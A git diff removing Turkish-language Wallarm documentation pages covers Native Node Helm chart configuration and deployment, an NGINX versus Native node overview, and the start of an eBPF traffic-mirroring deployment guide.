-Wallarm servis portu. - -Varsayılan: `5000`. - -## Gelişmiş ayarlar - -Varsayılan `values.yaml` dosyasının, ek olarak değiştirmeniz gerekebilecek Wallarm'a özgü bölümü aşağıdaki gibidir: - -```yaml -config: - connector: - http_inspector: - workers: auto - api_firewall_enabled: true - wallarm_dir: /opt/wallarm/etc/wallarm - -processing: - metrics: - enabled: true - port: 9090 -``` - -### config.connector.input_filters - -Hangi gelen isteklerin Native Node tarafından **inceleneceğini** veya **atlanacağını** tanımlar. Bu, statik varlıklar veya sağlık kontrolleri gibi alakasız trafiği yok sayarak CPU kullanımını azaltır. - -Varsayılan olarak, tüm istekler incelenir. - -!!! warning "İnceleme dışı bırakılan istekler analiz edilmez veya Wallarm Cloud'a gönderilmez" - Sonuç olarak, atlanan istekler metriklerde, API Discovery, API sessions, zafiyet tespiti vb. yer almaz. Wallarm özellikleri bunlara uygulanmaz. - -Uyumluluk - -* Native Node 0.16.1 ve üzeri - -Filtreleme mantığı - -Filtreleme mantığı 2 listeye dayanır: - -* `inspect`: burada en az bir filtreyle eşleşen istekler incelenir. - - Atlanır veya boş bırakılırsa, `bypass` tarafından hariç tutulmadıkça tüm istekler incelenir. -* `bypass`: burada herhangi bir filtreyle eşleşen istekler, `inspect` ile eşleşseler bile asla incelenmez. - -Filtre biçimi - -Her filtre şu öğeleri içerebilen bir nesnedir: - -* `path` veya `url`: istek yolunu eşleştirmek için regex (her ikisi de desteklenir ve eşdeğerdir). -* `headers`: başlık adlarını değerlerini eşleştirmek için regex kalıplarına eşleyen bir harita. - -Tüm düzenli ifadeler [RE2 sözdizimini](https://github.com/google/re2/wiki/Syntax) izlemelidir. - -Örnekler - -=== "Token ile istekleri izinli kıl, statik içeriği atla" - Bu yapılandırma yalnızca `Authorization` başlığında bir `Bearer` token içeren, sürümlenmiş API uç noktalarına (örn. `/api/v1/...`) yapılan istekleri inceler. - - Görüntüler, betikler, stiller gibi statik dosyalar ve tarayıcı tarafından başlatılan HTML sayfa yüklemeleri atlanır. - - ```yaml - config: - connector: - input_filters: - inspect: - - path: "^/api/v[0-9]+/.*" - headers: - Authorization: "^Bearer .+" - bypass: - - path: ".*\\.(png|jpg|css|js|svg)$" - - headers: - accept: "text/html" - ``` -=== "Alan adına göre istekleri izinli kıl, sağlık kontrollerini atla" - Bu yapılandırma yalnızca `Host: api.example.com` olan istekleri inceler, diğerlerinin tamamını atlar. - - `/healthz` uç noktasına yapılan istekler, incelenen host ile eşleşseler bile her zaman atlanır. - - ```yaml - config: - connector: - input_filters: - inspect: - - headers: - host: "^api\\.example\\.com$" - bypass: - - path: "^/healthz$" - ``` - -### config.connector.http_inspector.workers - -Wallarm worker sayısı. - -Varsayılan: `auto`, yani worker sayısı CPU çekirdeği sayısıdır. - -### config.connector.http_inspector.api_firewall_enabled - -[API Specification Enforcement](../../api-specification-enforcement/overview.md)'ın etkin olup olmadığını kontrol eder. Lütfen bu özelliği etkinleştirmenin, Wallarm Console UI üzerinden gerekli abonelik ve yapılandırmanın yerine geçmediğini unutmayın. - -Varsayılan: `true`. - -### config.connector.http_inspector.wallarm_dir - -Node yapılandırma dosyaları için dizin yolunu belirtir. Genellikle, bu parametreyi değiştirmeniz gerekmez. Yardıma ihtiyacınız olursa lütfen [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçin. - -Varsayılan: `/opt/wallarm/etc/wallarm`. - -### processing.metrics.enabled - -[Prometheus metriklerinin](../../admin-en/configure-statistics-service.md#usage) etkin olup olmadığını kontrol eder. Wallarm node bu olmadan düzgün çalışmadığından bu parametre `true` olarak ayarlanmalıdır. - -Varsayılan: `true`. - -### processing.metrics.port - -Prometheus metriklerinin sunulacağı adresi ve portu ayarlar. Bu metriklere erişmek için `/metrics` uç noktasını kullanın. - -Varsayılan: `:9000` (9000 portunda tüm ağ arayüzleri). diff --git a/docs/latest-tr/installation/native-node/helm-chart.md b/docs/latest-tr/installation/native-node/helm-chart.md deleted file mode 100644 index 954d42ee05..0000000000 --- a/docs/latest-tr/installation/native-node/helm-chart.md +++ /dev/null @@ -1,256 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[self-hosted-connector-node-helm-conf]: ../connectors/self-hosted-node-conf/helm-chart.md - -# Helm Chart ile Native Node Dağıtımı - -NGINX’ten bağımsız çalışan [Wallarm Native Node](../nginx-native-node-internals.md), bazı konektörlerle dağıtım için tasarlanmıştır. Helm chart kullanarak Native Node’u Kubernetes kümenizde ayrı bir servis olarak veya bir yük dengeleyici olarak çalıştırabilirsiniz. - -## Kullanım senaryoları - -Aşağıdaki durumlarda Native Node’u Helm chart ile dağıtın: - -* MuleSoft [Mule](../connectors/mulesoft.md) veya [Flex](../connectors/mulesoft-flex.md) Gateway, [Akamai](../connectors/akamai-edgeworkers.md), [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md), [IBM DataPower](../connectors/ibm-api-connect.md) için bir Wallarm konektörü dağıtıyor ve node’un self-hosted olmasını istiyorsanız. Bu, OpenShift, Amazon EKS, Azure AKS veya Google GKE gibi Kubernetes yönetim platformlarını zaten kullanıyorsanız idealdir. Trafik yönlendirmesini kolaylaştırmak için node, genel bir IP’ye sahip bir yük dengeleyici olarak yapılandırılır. - - Node’u `connector-server` modunda kullanın. -* Istio tarafından yönetilen API’ler için satır içi [gRPC tabanlı external processing filter](../connectors/istio.md) gerektiğinde. Trafik yönlendirmesini kolaylaştırmak için node, genel bir IP’ye sahip bir yük dengeleyici olarak yapılandırılır. - - Node’u `envoy-external-filter` modunda kullanın. -* [Kong API Gateway](../connectors/kong-api-gateway.md) için bir Wallarm konektörü dağıttığınızda. Node, genel bir IP açığa çıkarmadan dahili trafik için ClusterIP türüyle dağıtılır. - - Node’u `connector-server` modunda kullanın. - -## Gereksinimler - -Native Node’u Helm chart ile dağıtmak için Kubernetes kümeniz aşağıdaki kriterleri karşılamalıdır: - -* [Helm v3](https://helm.sh/) paket yöneticisi kurulu. -* API’lerinizin çalıştığı API gateway veya CDN’den gelen inbound erişim. -* Şuralara outbound erişim: - - * Wallarm Helm chart’ını indirmek için `https://charts.wallarm.com` - * Dağıtım için gerekli Docker imajlarını indirmek için `https://hub.docker.com/r/wallarm` - * US/EU Wallarm Cloud için `https://us1.api.wallarm.com` veya `https://api.wallarm.com` - * Saldırı tespit kurallarına ve [API spesifikasyonlarına][api-spec-enforcement-docs] güncellemeleri indirmek ve [allowlist, denylist veya graylist][ip-list-docs] içindeki ülke, bölge veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adresleri - - --8<-- "../include/wallarm-cloud-ips.md" -* `LoadBalancer` türüyle dağıtım yapıyorsanız bir alan adı ve güvenilir bir SSL/TLS sertifikası gerekir. -* Bunlara ek olarak, Wallarm Console içinde size **Administrator** rolü atanmış olmalıdır. - -## Sınırlamalar - -* Wallarm servisini `LoadBalancer` türüyle dağıtırken, Node örneğinin alan adı için **güvenilir** bir SSL/TLS sertifikası gereklidir. Self-signed sertifikalar henüz desteklenmemektedir. -* [Özel engelleme sayfası ve engelleme kodu](../../admin-en/configuration-guides/configure-block-page-and-code.md) yapılandırmaları henüz desteklenmiyor. -* Wallarm kuralı ile [rate limiting](../../user-guides/rules/rate-limiting.md) desteklenmiyor. -* [Çok kiracılı yapı](../multi-tenant/overview.md) henüz desteklenmiyor. - -## Dağıtım - -### 1. Wallarm token’ını hazırlayın - -Node’u kurmak için, node’u Wallarm Cloud’a kaydetmek üzere bir token gerekir. Token hazırlamak için: - -1. Wallarm Console → Settings → API tokens’ı [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. -1. `Node deployment/Deployment` kullanım türüne sahip bir API token bulun veya oluşturun. -1. Bu token’ı kopyalayın. - -### 2. Wallarm Helm chart deposunu ekleyin - -``` -helm repo add wallarm https://charts.wallarm.com -helm repo update wallarm -``` - -### 3. Yapılandırma dosyasını hazırlayın - -=== "LoadBalancer (connector-server)" - Genel bir IP ile Native Wallarm node’unu bir LoadBalancer olarak dağıtmak, MuleSoft, Cloudflare, Amazon CloudFront, Broadcom Layer7 API Gateway, Fastly’den bu IP’ye trafiği güvenlik analizi ve filtreleme için yönlendirmenize olanak tanır. - - 1. Yük dengeleyici için bir alan adı kaydedin. - 1. **Güvenilir** bir SSL/TLS sertifikası edinin. - 1. Aşağıdaki asgari yapılandırma ile `values.yaml` yapılandırma dosyasını oluşturun. Sertifikayı uygulamak için tercih ettiğiniz yöntemin sekmesini seçin: - - === "cert-manager" - Kümemizde [`cert-manager`](https://cert-manager.io/) kullanıyorsanız, SSL/TLS sertifikasını onunla üretebilirsiniz. - - ```yaml - config: - connector: - mode: connector-server - certificate: - enabled: true - certManager: - enabled: true - issuerRef: - # cert-manager Issuer veya ClusterIssuer adının belirtilmesi - name: letsencrypt-prod - # Issuer (namespace kapsamlı) mı yoksa ClusterIssuer (küme genelinde) mı olduğunu belirtir - kind: ClusterIssuer - processing: - service: - type: LoadBalancer - ``` - === "existingSecret" - Aynı ad alanındaki mevcut bir Kubernetes secret’ından SSL/TLS sertifikasını çekebilirsiniz. - - ```yaml - config: - connector: - mode: connector-server - certificate: - enabled: true - existingSecret: - enabled: true - # Sertifika ve özel anahtarı içeren Kubernetes secret’ının adı - name: my-secret-name - processing: - service: - type: LoadBalancer - ``` - === "customSecret" - `customSecret` yapılandırması, bir sertifikayı doğrudan base64 ile kodlanmış değerler olarak tanımlamanıza olanak tanır. - - ```yaml - config: - connector: - mode: connector-server - certificate: - enabled: true - customSecret: - enabled: true - ca: LS0... # Base64 ile kodlanmış CA - crt: LS0... # Base64 ile kodlanmış sertifika - key: LS0... # Base64 ile kodlanmış özel anahtar - processing: - service: - type: LoadBalancer - ``` -=== "LoadBalancer (envoy-external-filter)" - Genel bir IP ile Native Wallarm node’unu bir LoadBalancer olarak dağıtmak, MuleSoft, Cloudflare, Amazon CloudFront, Broadcom Layer7 API Gateway, Fastly’den bu IP’ye trafiği güvenlik analizi ve filtreleme için yönlendirmenize olanak tanır. - - 1. Yük dengeleyici için bir alan adı kaydedin. - 1. **Güvenilir** bir SSL/TLS sertifikası edinin. - 1. Aşağıdaki asgari yapılandırma ile `values.yaml` yapılandırma dosyasını oluşturun. Sertifikayı uygulamak için tercih ettiğiniz yöntemin sekmesini seçin: - - === "cert-manager" - Kümemizde [`cert-manager`](https://cert-manager.io/) kullanıyorsanız, SSL/TLS sertifikasını onunla üretebilirsiniz. - - ```yaml - config: - connector: - mode: envoy-external-filter - certificate: - enabled: true - certManager: - enabled: true - issuerRef: - # cert-manager Issuer veya ClusterIssuer adının belirtilmesi - name: letsencrypt-prod - # Issuer (namespace kapsamlı) mı yoksa ClusterIssuer (küme genelinde) mı olduğunu belirtir - kind: ClusterIssuer - processing: - service: - type: LoadBalancer - ``` - === "existingSecret" - Aynı ad alanındaki mevcut bir Kubernetes secret’ından SSL/TLS sertifikasını çekebilirsiniz. - - ```yaml - config: - connector: - mode: envoy-external-filter - certificate: - enabled: true - existingSecret: - enabled: true - # Sertifika ve özel anahtarı içeren Kubernetes secret’ının adı - name: my-secret-name - processing: - service: - type: LoadBalancer - ``` - === "customSecret" - `customSecret` yapılandırması, bir sertifikayı doğrudan base64 ile kodlanmış değerler olarak tanımlamanıza olanak tanır. - - ```yaml - config: - connector: - mode: envoy-external-filter - certificate: - enabled: true - customSecret: - enabled: true - ca: LS0... # Base64 ile kodlanmış CA - crt: LS0... # Base64 ile kodlanmış sertifika - key: LS0... # Base64 ile kodlanmış özel anahtar - processing: - service: - type: LoadBalancer - ``` -=== "ClusterIP" - Wallarm’ı Kong API Gateway veya Istio için bir konektör olarak dağıtırken, bu konektör için Native Node’u genel bir IP açığa çıkarmadan, dahili trafik için ClusterIP türüyle dağıtırsınız. - - Aşağıdaki asgari yapılandırma ile `values.yaml` yapılandırma dosyasını oluşturun: - - ```yaml - processing: - service: - type: ClusterIP - ``` - -[Tüm yapılandırma parametreleri](helm-chart-conf.md) - -### 4. Wallarm servisini dağıtın - -=== "US Cloud" - ``` - helm upgrade --install --version 0.17.1 wallarm/wallarm-node-native -n wallarm-node --create-namespace --set config.api.token= --set config.api.host=us1.api.wallarm.com - ``` -=== "EU Cloud" - ``` - helm upgrade --install --version 0.17.1 wallarm/wallarm-node-native -n wallarm-node --create-namespace --set config.api.token= --set config.api.host=api.wallarm.com - ``` - -### 5. Wallarm yük dengeleyicisini alın - -`LoadBalancer` türüyle dağıtıyorsanız: - -1. Wallarm yük dengeleyicisinin dış IP’sini alın: - - ``` - kubectl get svc -n wallarm-node - ``` - - `native-processing` servisi için dış IP’yi bulun. -1. Alan adınızı dış IP’ye yönlendirecek şekilde DNS sağlayıcınızda bir A kaydı oluşturun. - - DNS yayıldıktan sonra servise alan adı üzerinden erişebilirsiniz. - -### 6. Wallarm kodunu bir API yönetim servisine uygulayın - -Node’u dağıttıktan sonra, trafiği dağıtılmış node’a yönlendirmek için Wallarm kodunu API yönetim platformunuza veya servisinize uygulamanız gerekir. - -1. Konektörünüz için Wallarm kod paketini edinmek üzere sales@wallarm.com ile iletişime geçin. -1. Paketi API yönetim platformunuza uygulamak için platforma özel talimatları izleyin: - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [MuleSoft Flex Gateway](../connectors/mulesoft-flex.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Akamai](../connectors/akamai-edgeworkers.md#2-obtain-the-wallarm-code-bundle-and-create-edgeworkers) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [IBM DataPower](../connectors/ibm-api-connect.md#2-obtain-and-apply-the-wallarm-policies-to-apis-in-ibm-api-connect) - * [Kong API Gateway](../connectors/kong-api-gateway.md#2-obtain-and-deploy-the-wallarm-lua-plugin) - * [Istio](../connectors/istio.md) - -## Yükseltme - -Node’u yükseltmek için [talimatları](../../updating-migrating/native-node/helm-chart.md) izleyin. \ No newline at end of file diff --git a/docs/latest-tr/installation/nginx-native-node-internals.md b/docs/latest-tr/installation/nginx-native-node-internals.md deleted file mode 100644 index 6b79968a8e..0000000000 --- a/docs/latest-tr/installation/nginx-native-node-internals.md +++ /dev/null @@ -1,306 +0,0 @@ -# NGINX ve Native Self-Hosted Wallarm Node'larının İç Yapısı - -Wallarm Node, trafiği filtrelemek ve analiz etmekten sorumlu, Wallarm platformunun çekirdek bileşenidir. Kendi ortamınızda (self-hosted) veya Wallarm Security Edge üzerinde dağıtabilirsiniz. Bir self-hosted node dağıtırken iki seçeneğiniz vardır: **NGINX Node** veya **Native Node**. - -Bu iki node mimari olarak farklıdır ve belirli dağıtım kullanım senaryoları için tasarlanmıştır. - -## NGINX Node - -NGINX Node, NGINX ile sorunsuz entegre olur ve trafiği yönetmek için halihazırda NGINX'e güvenen altyapılar için mükemmeldir. NGINX'in yeteneklerinden yararlanırken Wallarm'ın güvenlik ve trafik filtreleme özelliklerini ekler. - -NGINX Node'u dağıtmak için aşağıdaki [artifaktler](../updating-migrating/node-artifact-versions.md) mevcuttur: - -* [Hepsi bir arada yükleyici](nginx/all-in-one.md) -* [Docker imajı](../admin-en/installation-docker-en.md) -* [AWS AMI](packages/aws-ami.md) -* [GCP Makine İmajı](packages/gcp-machine-image.md) -* [NGINX Ingress Controller](../admin-en/installation-kubernetes-en.md), [Sidecar Controller](kubernetes/sidecar-proxy/deployment.md), [eBPF](kubernetes/ebpf/deployment.md) dağıtımları için Helm chart - -Aşağıda **kullanım senaryonuzu bulun** ve NGINX Node'u uygun form faktörde dağıtın. - -### Kubernetes - -Kubernetes ortamınız için bir NGINX Node dağıtım çözümü bulun: - -
              -
              - - - -

              NGINX Ingress Controller

              -

              Entegre Wallarm servisleriyle NGINX Ingress Controller'ı dağıtın

              -               - - - -

              Sidecar

              -

              Pod güvenliği için Wallarm Sidecar controller'ını dağıtın

              -               - - - -

              eBPF

              -

              eBPF teknolojisini kullanarak Kubernetes üzerinde bant dışı dağıtım

              -               -
              -
              - -### Connectors - -API dağıtımı, Azion Edge, Akamai Edge, MuleSoft, Apigee ve CloudFront gibi harici araçlar kullanılarak dahil olmak üzere çeşitli şekillerde yapılabilir. Bu API'leri Wallarm ile güvence altına almanın bir yolunu arıyorsanız, bu tür durumlar için özel olarak tasarlanmış ["bağlayıcılar"](connectors/overview.md) biçiminde bir çözüm sunuyoruz. - -NGINX Node, aşağıda listelenen platformlar için kullanılır, ancak analiz gelen isteklere sınırlıdır. - -
              -
              - - - -

              Apigee

              -

              Apigee üzerinde çalışan API'leri güvenceye alın

              -               - - - -

              Akamai EdgeWorkers

              -

              Akamai EdgeWorkers üzerinde çalışan API'leri güvenceye alın

              -               - - - -

              Azion Edge

              -

              Azion Edge üzerinde çalışan API'leri güvenceye alın

              -               -
              -
              - -### Hat içi - -Korunan API'lere giden trafik, API'ye ulaşmadan önce Wallarm NGINX Node örneklerinden geçer. Düğümler hat içi konumda ve son kullanıcılara sunulan tek yol olduğu sürece, bir saldırganın Wallarm düğümlerini atlatma şansı yoktur. [Daha fazla bilgi edinin](inline/overview.md) - -
              -
              - - - -

              Hepsi bir arada yükleyici

              -

              Düğümü Linux işletim sistemli bir makinede çalıştırın

              -               - -
              - -

              Amazon Web Services

              -

              AWS üzerinde dağıtım için artifaktler

              -
              - -
              - -

              Google Cloud

              -

              GCP üzerinde dağıtım için artifaktler

              -
              - -
              - -

              Microsoft Azure

              -

              Microsoft Azure üzerinde dağıtım için artifaktler

              -
              - -
              - -

              Alibaba Cloud

              -

              Alibaba Cloud üzerinde dağıtım için artifaktler

              -
              - - - -

              Heroku

              -

              Bir Wallarm Docker imajı oluşturun ve Heroku üzerinde çalıştırın

              -               - - - -

              Docker imajı

              -

              Düğümü konteynerize ortamda çalıştırın

              -               -
              - -
              -
              - -

              Amazon Web Services

              -

              AWS üzerinde dağıtım için artifaktler

              -
              - - -

              AMI

              -

              Wallarm'ı dağıtmak için resmi Amazon Machine Image'ı kullanın

              -               - - -

              ECS

              -

              Elastic Container Service ile Wallarm'ı dağıtmak için Docker imajını kullanın

              -               - -
              -

              Terraform modülü

              -

              Hat içi Wallarm dağıtımı için Terraform modülünü kullanın

              -
              -
              - -
              -
              - -

              Terraform modülü

              -

              AWS üzerinde hat içi Wallarm dağıtımı için Terraform modülünü kullanın

              -
              - - -

              AWS VPC'de Proxy

              -

              Wallarm, AWS Virtual Private Cloud içinde proxy olarak

              -               - - -

              Amazon API Gateway için Proxy

              -

              Wallarm, Amazon API Gateway koruması için proxy olarak

              -               - -
              - -
              -
              - -

              Google Cloud

              -

              GCP üzerinde dağıtım için artifaktler

              -
              - - -

              Makine İmajı

              -

              Wallarm'ı dağıtmak için resmi Google Cloud Machine Image'ı kullanın

              -               - - -

              GCE

              -

              Google Compute Engine ile Wallarm'ı dağıtmak için Docker imajını kullanın

              -               -
              - -
              -
              - -

              Microsoft Azure

              -

              Microsoft Azure üzerinde dağıtım için artifaktler

              -
              - - -

              Azure Container Instances

              -

              Azure Container Instances ile Wallarm'ı dağıtmak için Docker imajını kullanın

              -               -
              - -
              -
              - -

              Alibaba Cloud

              -

              Alibaba Cloud üzerinde dağıtım için artifaktler

              -
              - - -

              ECS

              -

              Elastic Compute Service ile Wallarm'ı dağıtmak için Docker imajını kullanın

              -               -
              - -
              - -## Native Node - -Native Node, NGINX'e dayanmaz. NGINX'in gerekliliğinin olmadığı ya da daha hafif ve platformdan bağımsız bir çözümün tercih edildiği ortamlar için geliştirilmiştir. - -Native Node'u dağıtmak için aşağıdaki [artifaktler](../updating-migrating/native-node/node-artifact-versions.md) mevcuttur: - -* [Hepsi bir arada yükleyici](native-node/all-in-one.md) -* [Docker imajı](native-node/docker-image.md) -* [AWS AMI](native-node/aws-ami.md) -* [Helm chart](native-node/helm-chart.md) - -Aşağıda **kullanım senaryonuzu bulun** ve Native Node'u uygun form faktörde dağıtın. - -### Connectors - -API dağıtımı, Azion Edge, Akamai Edge, MuleSoft, Apigee ve CloudFront gibi harici araçlar kullanılarak dahil olmak üzere çeşitli şekillerde yapılabilir. Bu API'leri Wallarm ile güvence altına almanın bir yolunu arıyorsanız, bu tür durumlar için özel olarak tasarlanmış ["bağlayıcılar"](connectors/overview.md) biçiminde bir çözüm sunuyoruz. - -Native Node, aşağıdaki platformlarla herhangi bir sınırlama olmaksızın çalışır: - -
              -
              - - -

              MuleSoft Mule Gateway

              -

              Mule Gateway tarafından yönetilen API'leri güvenceye almak için Wallarm'ı dağıtın

              -               - - - -

              MuleSoft Flex Gateway

              -

              Flex Gateway tarafından yönetilen API'leri güvenceye almak için Wallarm'ı dağıtın

              -               - - - -

              CloudFront

              -

              Amazon CloudFront üzerinden iletilen trafiği güvenceye almak için Wallarm'ı dağıtın

              -               - - - -

              Cloudflare

              -

              Cloudflare üzerinden çalışan trafiği güvenceye almak için Wallarm'ı dağıtın

              -               - - - -

              Kong API Gateway

              -

              Kong Ingress Controller tarafından yönetilen API'leri güvenceye almak için Wallarm'ı dağıtın

              -               - - - -

              Istio

              -

              Istio tarafından yönetilen API'leri güvenceye almak için Wallarm'ı in-line veya OOB olarak dağıtın

              -               - - - -

              Broadcom Layer7 API Gateways

              -

              Layer7 API Gateways ile yönetilen API'leri güvenceye alın

              -               - - - -

              Fastly

              -

              Fastly üzerinde çalışan API'leri güvenceye almak için Wallarm'ı dağıtın

              -               - - - -

              IBM API Connect

              -

              IBM API Connect üzerinden yönetilen API'leri güvenceye almak için Wallarm'ı dağıtın

              -               -
              -
              - -### Bant dışı - -
              -
              - - -

              TCP Trafik Yansıtma Analizi

              -

              TCP trafik yansıtma analizi için bant dışı dağıtım

              -               -
              -
              - - - - \ No newline at end of file diff --git a/docs/latest-tr/installation/oob/ebpf/deployment.md b/docs/latest-tr/installation/oob/ebpf/deployment.md deleted file mode 100644 index d42a78c699..0000000000 --- a/docs/latest-tr/installation/oob/ebpf/deployment.md +++ /dev/null @@ -1,205 +0,0 @@ -[deployment-platform-docs]: ../../supported-deployment-options.md - -# Wallarm eBPF Tabanlı Çözüm (Beta Sürümü) - -Wallarm, Linux çekirdeğinin gücünden yararlanan ve Kubernetes ortamlarıyla sorunsuz entegre olan eBPF tabanlı güvenlik çözümünün beta sürümünü sunar. Bu makale, çözümün Helm chart kullanılarak nasıl kullanılacağını ve dağıtılacağını açıklar. - -!!! warning "4.10 sürümüyle sınırlıdır" - Wallarm eBPF tabanlı çözüm, şu anda yalnızca [Wallarm Node 4.10](/4.10/installation/oob/ebpf/deployment/) ile sunulan özellikleri desteklemektedir. - -## Trafik akışı - -Wallarm eBPF tabanlı çözüm ile trafik akışı: - -![eBPF trafik akışı](../../../images/waf-installation/epbf/ebpf-traffic-flow.png) - -eBPF çözümü, aşağıdaki protokolleri kullanarak trafiği izlemek üzere tasarlanmıştır: - -* HTTP 1.x veya HTTP 2 -* Proxy v1 veya Proxy v2 - -Trafik TLS/SSL şifreleme veya düz metin veri transferi kullanabilir. SSL trafiğinin analizi, paylaşılan OpenSSL kütüphanesini kullanan sunucularla (ör. NGINX, HAProxy) sınırlıdır ve Envoy gibi diğer SSL uygulamalarını kullanan sunucular için mevcut değildir. - -## Nasıl çalışır - -Linux işletim sistemi çekirdek ve kullanıcı alanından oluşur; çekirdek donanım kaynaklarını ve kritik görevleri yönetirken uygulamalar kullanıcı alanında çalışır. Bu ortamda eBPF (Extended Berkeley Packet Filter), güvenliğe odaklananlar da dahil olmak üzere özel programların Linux çekirdeğinde yürütülmesini sağlar. [eBPF hakkında daha fazlasını okuyun](https://ebpf.io/what-is-ebpf/) - -Kubernetes, süreç izolasyonu, kaynak yönetimi ve ağ oluşturma gibi kritik görevler için Linux çekirdeğinin yeteneklerinden yararlandığından, eBPF tabanlı güvenlik çözümlerinin entegrasyonu için elverişli bir ortam oluşturur. Bu doğrultuda Wallarm, çekirdeğin işlevselliklerinden yararlanarak Kubernetes ile sorunsuz entegre olan eBPF tabanlı bir güvenlik çözümü sunar. - -Çözüm, bir trafik aynası üreten ve bunu Wallarm node’una ileten bir ajandan oluşur. Dağıtım sırasında, yansıtma seviyesini ad alanı (namespace) veya pod düzeyinde belirtebilirsiniz. Wallarm node’u, yansıtılan trafiği güvenlik tehditleri açısından inceler; kötü amaçlı etkinliği engellemez. Bunun yerine, tespit edilen etkinliği Wallarm Cloud’a kaydederek Wallarm Console UI üzerinden trafik güvenliğine görünürlük sağlar. - -Aşağıdaki diyagram çözüm bileşenlerini göstermektedir: - -![eBPF bileşenleri](../../../images/waf-installation/epbf/ebpf-components.png) - -eBPF ajanı, her Kubernetes işçi (worker) düğümünde bir DaemonSet olarak dağıtılır. Doğru işlevselliği sağlamak için ajan konteynerinin ayrıcalıklı modda çalışması ve şu temel yeteneklere sahip olması gerekir: `SYS_PTRACE` ve `SYS_ADMIN`. - -Ayrıca çözüm, yanıt kodlarını işler ve Wallarm’ın temel [API Discovery](../../../api-discovery/overview.md) modülünün API uç noktalarınızı tanımlamasına, API envanterinizi oluşturmasına ve güncel tutmasına olanak tanır. - -## Kullanım senaryoları - -Desteklenen tüm [Wallarm dağıtım seçenekleri](../../supported-deployment-options.md) arasında bu çözüm, out-of-band çalışma için önerilen seçenektir. Trafiğin içinde çalışmak yerine yansıtılmış bir kopyasını yakalayarak eBPF tabanlı çözüm kesintisiz trafik akışı sağlar. Bu yaklaşım, canlı trafik üzerindeki etkiyi en aza indirir ve gecikmeyi etkileyebilecek ek gecikmelerin önüne geçer. - -## Teknik gereksinimler - -eBPF çözümünün başarıyla dağıtılması için aşağıdaki teknik önkoşulların karşılandığından emin olun: - -* Desteklenen Kubernetes sürümü: - - * AWS - Kubernetes 1.24 ve üzeri - * Azure - Kubernetes 1.26 ve üzeri - * GCP - herhangi bir Kubernetes sürümü - * Bare-metal sunucu - Kubernetes 1.22 ve üzeri -* Ajanın yakalanan trafiği güvenli bir şekilde Wallarm işleme düğümüne yansıtmasını sağlamak için [cert-manager](https://cert-manager.io/docs/installation/helm/) kurulmuş olmalıdır. -* [Helm v3](https://helm.sh/) paket yöneticisi. -* BTF (BPF Type Format) etkin 5.10 veya 5.15 Linux çekirdeği. Ubuntu, Debian, RedHat, Google COS veya Amazon Linux 2 üzerinde desteklenir. -* x86_64 mimarisine sahip işlemci. -* Çözüm beta aşamasında olduğundan, tüm Kubernetes kaynakları etkin biçimde yansıtılamayabilir. Bu nedenle trafiğin özellikle Kubernetes içindeki NGINX Ingress controller’ları, Kong Ingress controller’ları veya normal NGINX sunucuları için yansıtılmasını öneriyoruz. -* Kullanıcı hesabınızın Wallarm Console üzerinde [**Administrator** erişimi](../../../user-guides/settings/users.md#user-roles) olmalıdır. - -Kullanım senaryonuz listelenen gereksinimlerden farklıysa, özel ihtiyaçlarınızı karşılamak için yapılabilecek olası uyarlamaları değerlendirmek üzere ortamınız hakkında ayrıntılı teknik bilgiler vererek [satış mühendislerimizle](mailto:sales@wallarm.com) iletişime geçin. - -## Ağ erişimi - -Sınırlı dışa giden trafik bulunan ortamlarda çözümün doğru çalışmasını sağlamak için, aşağıdaki harici kaynaklara erişime izin verecek şekilde ağ erişimini yapılandırın: - -* Wallarm Helm chart’larını eklemek için `https://charts.wallarm.com`. -* Wallarm Docker imajlarını Docker Hub’dan çekmek için `https://hub.docker.com/r/wallarm`. -* US Wallarm Cloud kullanıcıları `https://us1.api.wallarm.com` adresine erişmelidir. EU Wallarm Cloud kullanıcıları `https://api.wallarm.com` adresine erişmelidir. -* Saldırı tespit kurallarına ve [API spesifikasyonlarına](../../../api-specification-enforcement/overview.md) yönelik güncellemeleri indirmek, ayrıca [izinli, yasaklı veya gri listeye alınmış](../../../user-guides/ip-lists/overview.md) ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak için aşağıdaki IP adresleri. - - --8<-- "../include/wallarm-cloud-ips.md" - -## Dağıtım - -Wallarm eBPF çözümünü dağıtmak için: - -1. Wallarm node’unu oluşturun. -1. Wallarm Helm chart’ını dağıtın. -1. Trafik yansıtmayı etkinleştirin. -1. Wallarm eBPF çalışmasını test edin. - -### Adım 1: Wallarm node’unu oluşturun - -1. Aşağıdaki bağlantı aracılığıyla Wallarm Console → **Nodes** bölümünü açın: - - * US Cloud için https://us1.my.wallarm.com/nodes - * EU Cloud için https://my.wallarm.com/nodes -1. **Wallarm node** türünde bir filtreleme düğümü oluşturun ve üretilen token’ı kopyalayın. - - ![!Bir Wallarm node'unun oluşturulması](../../../images/user-guides/nodes/create-wallarm-node-name-specified.png) - -### Adım 2: Wallarm Helm chart’ını dağıtın - -1. Ortamınızın yukarıdaki gereksinimleri karşıladığından ve 